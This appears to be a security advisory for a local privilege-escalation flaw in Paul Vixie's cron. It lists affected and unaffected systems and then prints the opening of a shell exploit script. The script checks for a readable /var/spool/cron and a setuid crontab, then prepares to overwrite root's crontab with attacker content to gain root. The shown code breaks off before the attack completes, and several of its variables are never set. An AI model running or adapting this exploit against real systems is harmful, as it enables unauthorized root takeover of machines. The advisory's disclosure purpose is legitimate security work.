Attached shell-script exploits the 'fopen() and preserved umask' vulnerability in Paul Vixie's cron code. It will work on systems where /var/spool/cron is user-readable (e.g. 0755).
Vulnerable Systems:
- Debian 2.2 is vulnerable; this exploit might need slight modifications in order to work properly (e.g.
/var/spool/cron/crontabs, which is 0755 as well, has to be used instead of /var/spool/cron).
- Systems where vixie-cron has been installed manually seem to be vulnerable (this will include Solaris, but this exploit will not work in its current form; some modifications are required). Generally, the conditions are: o+x on /var/spool/cron and setuid vixie crontab.
- There is no information about other non RH-derived distributions and other systems shipping vixie-cron, but it suspected at least some of them are vulnerable.
Not vulnerable:
- Most of RedHat-derived systems are not vulnerable (this includes Mandrake, Cobalt Linux, Trustix and probably Corel Linux).
- Slackware is not using vixie-cron.
- FreeBSD seems not to be vulnerable.
Exploit:
You can check if you're vulnerable using the exploit code below.
#!/bin/sh
echo '.-------------------------------------------------------------------------.'
echo '| Marchew Hyperreal Industries ................... <marchew@dione.ids.pl> |'
echo "| ( ...well, it is just me, but it is more elite to speak as a group... ) |"
echo "\`--------------------------------- presents ------------------------------'"
echo
echo ' * another vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> * '
echo
echo '.-------------------------------------------------------------------------.'
echo '| This time, it is somewhat more complicated. On some systems, it might |'
echo '| require some tuning, to be slower, but resources-effective. It expects |'
echo '| root (or other choosen user) to do "crontab -e" or "crontab /any/file" |'
echo '| sooner or later, and spoofs the legitimate cron entry file with evil |'
echo '| content, thus leading to account compromise (usually: root compromise). |'
echo "\`-------------------------------------------------------------------------'"
echo
if [ "$VCRON" = "" ]; then
echo "[-] Sorry, this box is not running vixie cron."
echo
exit 1
else
echo "[+] Found Paul Vixie's /usr/bin/crontab utility."
fi
if [ -r /var/spool/cron ]; then
echo "[+] This box has exploitable /var/spool/cron..."
else
echo "[-] Sorry, this box is not vulnerable to this attack."
echo
exit 1
fi
if [ -u /usr/bin/crontab ]; then
echo "[+] This box has setuid crontab utility..."
else
echo "[-] Sorry, this box has no setuid crontab."
echo
exit 1
fi
if [ ! -f /tmp/.r00tcr0n ]; then
echo "[-] Compilation failed."
echo
exit 1
fi
echo "[+] Application #3 compiled successfully."
X=0
if [ ! "$1" = "noprep" ]; then
echo "[*] Attack against user $DESTUSER, doing $CYCLES setup cycles..."
echo " Please be patient, setup might took some time; to skip it if"
echo " /var/spool/cron on this machine is already initialized, use"
echo " '$0 noprep'."
PROB=$[CYCLES*100/32768]
test "$PROB" -gt "100" && PROB=100
echo "[+] This gives almost $PROB% probability of success on the first attempt."
